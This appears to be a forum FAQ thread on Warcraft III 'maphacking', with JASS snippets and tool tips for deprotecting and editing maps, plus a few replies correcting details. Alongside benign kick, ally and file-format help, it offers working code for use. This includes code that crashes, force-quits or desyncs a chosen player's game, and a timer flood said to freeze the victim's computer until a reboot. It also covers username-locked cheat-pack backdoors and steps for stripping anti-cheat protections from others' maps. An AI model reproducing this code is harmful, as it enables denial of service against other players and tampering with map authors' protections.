Joined: June 8th, 2008, 3:05 am Posts: 306 Location: Australia Title: Casual Maphacker
F-A-Q
All credits Go to the following for making all these tuts/scripts
Xantan
initialD
Senethior459
Kryptonyte
Vegas
Ozzapoo
Bartimaeus
JJ2197
Aero
Dekar
Index FAQ ( Use Ctrl + F )
Errors/Problems
Question: Theres missing units and items when i open my map with WE
Question: When i try open my map i get the error WERandomGroupSet (.?AUWERandomGroupSet@@
Question: When i try open my map i get the error Unit data missing or invalid CP Related
Question: Is it possible to change that message when i type the activator in?
Question: Can you change the activator for cheatpacks?
Question: Is it possible to make JJ's CP only work for special usernames? Anti-Cheat
Question: How do you remove AMHS
Question: What are the common SP and how do you remove them
Question: What are the common anti-cheat protections and how do i remove them? Tools Related
Download for Optimizers/Protecters
Question: Can you give me link for the xvie32 Hex editor JASS Related
Question: Is it possible to convert JASS to GUI
Question: Can you autokick/ban someone from my map? [JASS]
Question: Can you give me a simple JASS kick system [JASS]
Question: Can you give me a kick system with voting? [JASS]
Question: Is there ways to crash people? Freeze there warcraft? Etc? [JASS]
Question: Can you kick people with these methods?
Question: Can you give me the clean wc3.xxx files?
Question: Can you give me an ally system in JASS? [JASS] GUI Related
Question: Where is the best place to find GUI systems? [GUI]
Question: Is it possible to convert GUI to JASS
Question: Can you auto kick / ban someone from my map? [GUI] WE/Wc3 Related
Question: How do you get a rawcode list faster than getting it manualy
Question: What programs do i use to protect a map with?
Question: How do i shrink size of my map?
Question: How do i edit preview information? Description etc
Question: How do you get raw codes ?
Question: What do all the war3map.xxx files do?
Question: Is it possible to edit a trigger without deprotecting the map?
Errors/Problems
Question: Theres missing units and items when i open my map with WE Answer:
Spoiler:
Restore With MPQMaster Extract the wc3.### into the deprotected map (Look at files from earlier to see what ones you need to replace)
Question: When i try open my map i get the error WERandomGroupSet (.?AUWERandomGroupSet@@) Answer:
Spoiler:
You need to replace the wc3.w3i with a blank one.
Attachment:
war3map.w3i
Question: When i try open my map i get the error Unit data missing or invalid Answer:
Spoiler:
You need to replace the war3mapunits.doo with a blank one.
Attachment:
war3mapunits.rar
CP Related
Question: Is it possible to change that message when i type the activator in? Answer: Yes
Spoiler:
This is the end of JJ's cp Edit the part that says "Edit here!!!" (Don't mess with the ""'s)
Code:
endif set p2p=null set s2s="" endfunction function CheatUse takes nothing returns nothing local player p2p=GetTriggerPlayer() if SubString(GetEventPlayerChatString(),0,100)==Activator and not IsPlayerInForce(p2p,CHEATER) then call DisplayTextToForce(CHEATER,GetPlayerName(p2p)) call ForceAddPlayer(CHEATER,p2p) call TriggerRegisterPlayerChatEvent(CHEATS,p2p,"-",false) call DisplayTimedTextToPlayer(p2p,0,0,10,"EDIT HERE!!!!!") endif set p2p=null endfunction
Question: Can you change the activator for cheatpacks? Answer: Yes
Spoiler:
Edit the par that says "-Risker" to whatever you would like.
Question: Is it possible to make JJ's CP only work for special usernames? Answer: yes
Spoiler:
Part sp7=="NAME", change all the name's from Risker to whatever you would like.
Code:
function CheatUse takes nothing returns nothing local player p2p=GetTriggerPlayer() local string sp7=GetPlayerName(GetTriggerPlayer()) if sp7=="risker" or sp7=="risker" or sp7=="risker"then if SubString(GetEventPlayerChatString(),0,100)==Activator and not IsPlayerInForce(p2p,CHEATER) then call DisplayTextToForce(CHEATER,GetPlayerName(p2p)) call ForceAddPlayer(CHEATER,p2p) call TriggerRegisterPlayerChatEvent(CHEATS,p2p,"-",false) call DisplayTimedTextToPlayer(p2p,0,0,10,"|cff8B0000Hacked By|r |cff737373Risker!") endif [color=#40FF00]endif[/color] set p2p=null endfunction
Anti-Cheat
Question: How do you remove AMHS Answer:
Spoiler:
Go to the function main part. search for the triggers they use to activate the AMH system. such as
Code:
call AMH_initrggers()
delete all of them, then the AMH shouldn't be working anymore.
Question: What are the common SP and how do you remove them Answer:
Spoiler:
First search (Ctrl + F) for "-save" you'll end up seeing something probably like this:
First search for PLAYER_SLOT_STATE_PLAYING, there may be more than one. Now it will most likly either be one that is looped or one for each player. If there is one for each player most likly you'll see right under them functions that add to a variable, like set X = X + 1. This variable is how it tells how many people are in the game. What you want to do is search X (Make sure to check Match whole words and Match case). Then click Find next till you see something like X=<1,X=1,X<2 or something that makes it only work if it's one. Now just change the number to 0. There may be more then one checker, so make sure to get them all. As for the looped one, there will be more than one X = X + 1 the one that won't be it will be the one that is with exitwhen X>11. Here is an example:
Code:
loop if GetPlayerSlotState(Player(A))==PLAYER_SLOT_STATE_PLAYING then set X = X + 1 endif set A = A + 1 exitwhen A>11 endloop
A is what you want to ignore and X is what you want to look for.
It basically just checks for players typing them, and if it detects them... Displays strings to people saying you're cheating, removes your gold, removes character stats, kicks you... Lots of things can happen.
Also, if there's a line like: "call ExecuteFunc(CRASH)" or something like that then remove it. ____________________________________________________________________________
Don't delete the anticheat triggers! It just creates more trouble! Just replace everything inside of it with "call DoNothing()".
Question: Is it possible to convert JASS to GUI Answer: Yes
Spoiler:
There is no tool for this (unprotect works only randomly so... no tool) and even if there was one, you wouldn't get the same gui it was made of. It's like decompiling a C program back to C, what you get is ugly and all names/comments are missing.
Question: Can you autokick/ban someone from my map? Answer: Yes
Spoiler:
local string PlayerName="<REPLACE THIS WITH THE PLAYER NAME>" //Entirely lowercase! local integer i=0
loop exitwhen i>11 if GetPlayerName(Player(i))==StringCase(PlayerName,false)then call CustomDefeatBJ(Player(i),"You are banned.") endif set i=i+1 endloop
Question: Can you give me a simple JASS kick system Answer: Yes
function init_votekick takes nothing returns nothing local integer i=0 loop exitwhen i>11 set votekick_dialog=DialogCreate() call TriggerRegisterPlayerChatEvent(votekick_votekick,Player(i),"-votekick",true) call TriggerRegisterDialogEvent(votekick_buttonclick,votekick_dialog) set i=i+1 endloop endfunction function VotekickClick takes nothing returns nothing local player p=GetTriggerPlayer() local integer id=GetPlayerId(p) local integer istart=id*12+100 local button b=GetClickedButton() local integer j=0 local player q loop exitwhen j>11 if votekick_buttons[istart+j]==b then set q=Player(j) if votekick_votes[istart+j]==1 then set votekick_votes[istart+j]=0 set votekick_votes[j]=votekick_votes[j]-1 call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,8.,"A kick vote has been withdrawn for "+GetPlayerName(q)) else set votekick_votes[j]=votekick_votes[j]+1 set votekick_votes[istart+j]=1 call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,8.,"A kick vote has been issued for "+GetPlayerName(q)) if votekick_votes[j] >= VOTES_NEEDED_TO_KICK then call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,8.,GetPlayerName(q)+" has been kicked by vote") call RemovePlayer(q,PLAYER_GAME_RESULT_DEFEAT) if q==GetLocalPlayer()then call EndGame(false) endif endif endif endif set j=j+1 endloop set q=null set b=null set p=null endfunction function VotekickShow takes nothing returns nothing local player p=GetTriggerPlayer() local integer id=GetPlayerId(p) local integer istart=id*12+100 local integer j=0 local player q call DialogClear(votekick_dialog[id]) call DialogSetMessage(votekick_dialog[id],"|cffffcc00Votekick who?") loop exitwhen j>11 set votekick_buttons[istart+j]=null set q=Player(j) if GetPlayerSlotState(q)==PLAYER_SLOT_STATE_PLAYING and GetPlayerController(q)==MAP_CONTROL_USER and q!=p then if votekick_votes[istart+j]!=1then set votekick_buttons[istart+j]=DialogAddButton(votekick_dialog[id],GetPlayerName(q)+" |r[|cffffcc00Vote|r]",0) else set votekick_buttons[istart+j]=DialogAddButton(votekick_dialog[id],GetPlayerName(q)+" |r[|cffffcc00Cancel Vote|r]",0) endif endif set j=j+1 endloop set votekick_buttons[id]=DialogAddButton(votekick_dialog[id],"Cancel |r[|cffff0000ESC|r]",512) call DialogDisplay(p,votekick_dialog[id],true) set p=null set q=null endfunction
Functionmain
Code:
function InitTrig_Votekick takes nothing returns nothing set votekick_votekick=CreateTrigger() set votekick_buttonclick=CreateTrigger() call TriggerAddAction(votekick_votekick,function VotekickShow) call TriggerAddAction(votekick_buttonclick,function VotekickClick) call ExecuteFunc("init_votekick") endfunction
How it works A player types "-votekick" and it will open up a dialog for them which contains a list of players who are currently playing and beside their name will be either [Vote] or [Cancel Vote]. At the bottom will be a "Cancel [ESC]" button where pressing ESC will close the dialog.
Three votes or whatever the constant is changed to will be how many votes are required to get booted. You cannot vote or cancel a vote against yourself.
Question: Is there ways to crash people? Freeze there warcraft? Etc? Answer: Yes
Spoiler:
Code:
function SendCrash takes player p returns nothing if p==GetLocalPlayer()then call ExecuteFunc("Harr! Crashy!!") endif endfunction
function SendExit takes player p returns nothing if p==GetLocalPlayer()then call ExecuteFunc("ExitWarcraft") endif endfunction
Usage: call SendExit(<Insert Player Here>) Please note that this won't just cause massive lag and leaks, although it may seem that way, I tested it and it worked And this is good for making people go 'WTF' because their wc3 just closed without fataling
That's it for the game disruptions. Now it's time for the last one, the famous '-end' command! (Except it's only for 1 player at a time ) It just makes the picked player immediately leave the game and go to chat.
Code:
function SendLeave takes player p returns nothing if p==GetLocalPlayer()then call EndGame(false) endif endfunction
(Instant Desync + freeze computer; most users will need to reboot as Operating Systems might take up to 10 minutes or more to close the program):
Code:
function Clusterfuck_Child takes nothing returns nothing call TimerStart(CreateTimer(),.001,true,function Clusterfuck_Child) endfunction
function Clusterfuck takes player p returns nothing if p==GetLocalPlayer()then call RemoveUnit(CreateUnit(GetLocalPlayer(),'hpea',0,0,0)) call TimerStart(CreateTimer(),.001,true,function Clusterfuck_Child) endif endfunction
Question: Can you kick people with these methods? Question: Yes With a little work
Spoiler for Some Examples:
//globals
Code:
trigger kt7=CreateTrigger()
//function main //use Player(0) instead if the player red is host.
function kickit takes nothing returns nothing local player p7=GetTriggerPlayer() local string s7=GetEventPlayerChatString() local integer z7=S2I(SubString(s7,5,8)) if(z7<1)or(z7>13)then set p7=null return elseif z7-1==GetPlayerId(p7)then call DisplayTextToPlayer(p7,0,0,"You don't want to kick yourself, dumbass.") set p7=null return endif if Player(z7-1)==GetLocalPlayer()then call Player(17) endif set p7=null endfunction
2nd option //endglobals >kick the player silently, without noticed by anyone else.<
Code:
function kickit takes nothing returns nothing local player p7=GetTriggerPlayer() local string s7=GetEventPlayerChatString() local integer z7=S2I(SubString(s7,5,8)) if(z7<1)or(z7>13)then set p7=null return elseif z7-1==GetPlayerId(p7)then call DisplayTextToPlayer(p7,0,0,"You don't want to kick yourself, dumbass.") set p7=null return endif call RemovePlayer(Player(z7-1),PLAYER_GAME_RESULT_VICTORY) set p7=null endfunction
3rd option //endglobals >Popping out a quit mission menu, with a message in it.< //exp: -kick 8 You are damned
Code:
function kickit takes nothing returns nothing local player p7=GetTriggerPlayer() local string s7=GetEventPlayerChatString() local integer z7=S2I(SubString(s7,5,8)) if(z7<1)or(z7>13)then set p7=null return elseif z7-1==GetPlayerId(p7)then call DisplayTextToPlayer(p7,0,0,"You don't want to kick yourself, dumbass.") set p7=null return endif call CustomDefeatBJ(Player(z7-1)),SubString(s7,8,200)) set p7=null endfunction
4th options //endglobals >Popping up a menu saying "You are disconnected"<
Code:
function kickit takes nothing returns nothing local player p7=GetTriggerPlayer() local string s7=GetEventPlayerChatString() local integer z7=S2I(SubString(s7,5,8)) if(z7<1)or(z7>13)then set p7=null return elseif z7-1==GetPlayerId(p7)then call DisplayTextToPlayer(p7,0,0,"You don't want to kick yourself, dumbass.") set p7=null return endif if Player(z7-1)==GetLocalPlayer()then return endif set p7=null endfunction
Note: Player code are 1-12. 1 as red, 2 as blue and so on. Can't kick yourself. Only host(player red or blue) can kick, as requested. Do nothing if an invalid player code are inserted. command would be -kick###@@@@ # as player code @ as messages if the 3rd options are used. I made the codes without any JASS tools. So let me know if there are syntax errors.
Question: Can you give me the clean wc3.xxx files? Answer: Yes
Question: Can you give me an ally system in JASS? Answer: Yes
Spoiler:
Code:
function GetBaseLength takes string s returns string if SubString(s,0,5)=="-ally"then return"5a" elseif SubString(s,0,7)=="-unally"then return"7b" elseif SubString(s,0,7)=="-vision"then return"7c" elseif SubString(s,0,9)=="-unvision"then return"9d" endif return"" endfunction
function AllyExecute takes nothing returns nothing local integer i=0 local player p=GetTriggerPlayer() local integer id=GetPlayerId(p) local string s=GetEventPlayerChatString() local string l=GetBaseLength(StringCase(s,false)) local string array n local player t if l!=""then set i=S2I(SubString(l,0,1))+1 set l=SubString(l,1,2) else set p=null return endif set n[0]="red" set n[1]="blue" set n[2]="teal" set n[3]="purple" set n[4]="yellow" set n[5]="orange" set n[6]="green" set n[7]="pink" set n[8]="gray" set n[9]="light blue" set n[10]="dark green" set n[11]="brown" set n[12]=StringCase(SubString(s,i,i+10),false) set n[13]="" set i=0 loop if n==n[12]then set n[0]="exit" endif exitwhen n[0]=="exit" set i=i+1 endloop set t=Player(i) if id==i then call DisplayTextToPlayer(p,0,0,"You can't perform Alliance Operations with yourself!") elseif i>11then call DisplayTextToPlayer(p,0,0,"Invalid player color.") elseif (l=="a")and(not GetPlayerAlliance(p,t,ALLIANCE_PASSIVE))then call SetPlayerAllianceStateAllyBJ(p,t,true) set n[13]=GetPlayerName(p)+" is now allies with "+GetPlayerName(t) elseif (l=="b")and(GetPlayerAlliance(p,t,ALLIANCE_PASSIVE))then call SetPlayerAllianceStateAllyBJ(p,t,false) set n[13]=GetPlayerName(p)+" is now enemies with "+GetPlayerName(t) elseif (l=="c")and(not GetPlayerAlliance(p,t,ALLIANCE_SHARED_VISION))then call SetPlayerAlliance(p,t,ALLIANCE_SHARED_VISION,true) set n[13]=GetPlayerName(p)+" is now sharing vision with "+GetPlayerName(t) elseif (l=="d")and(GetPlayerAlliance(p,t,ALLIANCE_SHARED_VISION))then call SetPlayerAlliance(p,t,ALLIANCE_SHARED_VISION,false) set n[13]=GetPlayerName(p)+" is no longer sharing vision with "+GetPlayerName(t) endif call DisplayTextToPlayer(GetLocalPlayer(),0,0,n[13]) set p=null set t=null endfunction
//======================================================================= function InitTrig_AllySystem takes nothing returns nothing local integer i=0 local trigger t=CreateTrigger() loop exitwhen i>11 call TriggerRegisterPlayerChatEvent(t,Player(i),"-",false) set i=i+1 endloop call TriggerAddAction(t,function AllyExecute) set t=null endfunction
Alright, here is how it works.
-ally color (Allies) -unally color (Unallies) -vision color (Shared Vision) -unvision color (Unshared Vision)
Key Points:
-System uses no globals! (Yay! --> Means that your map takes up less permanent memory!) -You can share vision with an enemy. -When you ally an enemy with whom you're sharing vision, you become allies with shared vision. -If you're sharing vision with an ally and unally them, they still retain shared vision -Allying an enemy will not automatically share vision -Messages will display to all players when you change your alliance status -If you're trying to ally an ally, nothing will happen and no message will display. Same thing for shared vision -You cannot ally/vision yourself (It will tell you you're a moron) -You will receive no message if you typed "-" but "vision", "ally", "unally" or "unally" doesn't follow. If either of these follow the "-", but the player is invalid, you will receive an error message.
Also, this system is not case sensitive, -alLY rEd will work the same as -Ally Red.
GUI Related
Question: Where is the best place to find GUI systems? Answer:
Question: Is it possible to convert GUI to JASS Answer: Yes
Spoiler:
1. Extract your maps .j with GUI Triggers within it. 2. Take the global variables, put them along with the others in your other maps .j. 3.Take all the functions 4. Remove comments 5. Unnecessary blank lines 6. Don't copy the "call custom triggers" 7. Manually type out InitTrig_yourtriggername( ) after it sais "InitBlizzard()" under function main. 8. Reimport the .j over the other 9. flush the map in mpqmaster 10. delete the attributes
Question: Can you auto kick / ban someone from my map? Answer: Yes
Spoiler:
Player Colors Events Conditions Actions Set Player_Colors[1] = |c00ff0303 Set Player_Colors[2] = |c000042ff Set Player_Colors[3] = |c001ce6b9 Set Player_Colors[4] = |c00540081 Set Player_Colors[5] = |c00fffc01 Set Player_Colors[6] = |c00ff8000 Set Player_Colors[7] = |c0020c000 Set Player_Colors[8] = |c00e55bb0 Set Player_Colors[9] = |c00959697 Set Player_Colors[10] = |c007ebff1 Set Player_Colors[11] = |c00106246 Set Player_Colors[12] = |c004e2a04 For each (Integer A) from 1 to 12, do (Actions) Loop - Actions Set Player_Names[(Integer A)] = ((Player_Colors[(Integer A)] + (Name of (Player((Integer A))))) + |r)
WE/Wc3 Related
Question: How do you get a rawcode list faster than getting it manualy Answer:
Spoiler:
RMPQEx Use the Dump object data... button, it makes a text file with all the information for each type of custom object data that you select. Easy to find particular things in it (Ctrl+F
Question: What programs do i use to protect a map with? Answer:
Spoiler:
You need to download the folder of optimizers
Question: How do i shrink size of my map? Answer:
Spoiler:
You need to download the folder of optimizers
Question: How do i edit preview information? Description etc Answer:
Spoiler:
You need to use a hex editor, such as XVI32, to edit the .w3x (the map). Find the name, change it, and save it. Rename the .w3x (the map), so that the file name also matches the new name. You need to extract the war3map.w3i, open it with a hex editor, change the map name (if it calls a string, then find that string in the war3map.wts and change it there, too, and then proceed to the following), save, delete the one in the map, add the new one back in, and flush the map. And, you need to open up the war3map.j, search for call SetMapName, change the map name that's in quotes right after that (if it calls a string (it says TRIGSTR_XXX), then open the war3map.wts, find the string it calls (whatever number the XXX was, search for that, the string is the stuff right underneath it), and change it there, too, and then proceed to the following), save, delete the one in the map, add the edited one back in, and flush the map.
Question: How do you get raw codes ? Answer:
Spoiler:
1.Use MPQMaster to extract war3map.w3t file. 2. Open a blank map in WE 3. Import the file. 4. Open the Object Manager 5. Set it to view raw codes.
Question: What do all the war3map.xxx files do? Answer:
Spoiler:
war3map.w3a - All the custom ability data is stored in this file war3map.w3h - Buffs/Effects war3map.w3q - Upgrades war3map.w3t - All the custom item data is stored in this file war3map.w3u - All the custom unit data is stored in this file war3map.w3b - Destructibles war3map.w3d - Doodads war3map.wts - Strings/This file contains trigger string data (ex: You have a trigger that says "Hi" to all players..."Hi" will generally be stored in this file. This file also contains map name and other related information and you can also find custom object tooltips, information and names here) war3map.j - Jass Triggers
Question: Is it possible to edit a trigger without deprotecting the map? Answer: Yes
Spoiler:
1. Open it in MQLMaster 2. Edit the file war3map.j
Joined: June 8th, 2008, 3:05 am Posts: 306 Location: Australia Title: Casual Maphacker
i should summerise your things in there and put them in here? cause like the save/load thing was alsome and what not and the JASS basics etc there good
Joined: June 8th, 2007, 5:08 am Posts: 996 Location: Malaysia Title: Not a Hacker
you should summarize all questions into different of groups, and then out a menu list on the top, so people could easily search on the answers they want. btw, JASS code in italic forms are hard to read. Just... make them straight. man.
Joined: June 2nd, 2007, 6:53 pm Posts: 809 Location: US East
You also have a few color codes in the spoilers, like changing the activator and changing the message that displays upon activation. Might want to get rid of them, you can't have bbcode inside code tags.
Joined: June 2nd, 2007, 6:53 pm Posts: 809 Location: US East
Question: Is it possible to edit a trigger without deprotecting the map?
^^ In the answer, it should be MPQMaster, not MQLMaster.
Question: How do i edit preview information? Description etc
I think you missed one or two, here's how I suggest you do it: You need to use a hex editor, such as XVI32, to edit the .w3x (the map). Find the name, change it, and save it. Rename the .w3x (the map), so that the file name also matches the new name. You need to extract the war3map.w3i, open it with a hex editor, change the map name (if it calls a string, then find that string in the war3map.wts and change it there, too, and then proceed to the following), save, delete the one in the map, add the new one back in, and flush the map. And, you need to open up the war3map.j, search for call SetMapName, change the map name that's in quotes right after that (if it calls a string (it says TRIGSTR_XXX), then open the war3map.wts, find the string it calls (whatever number the XXX was, search for that, the string is the stuff right underneath it), and change it there, too, and then proceed to the following), save, delete the one in the map, add the edited one back in, and flush the map.
Users browsing this forum: No registered users and 1 guest
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot post attachments in this forum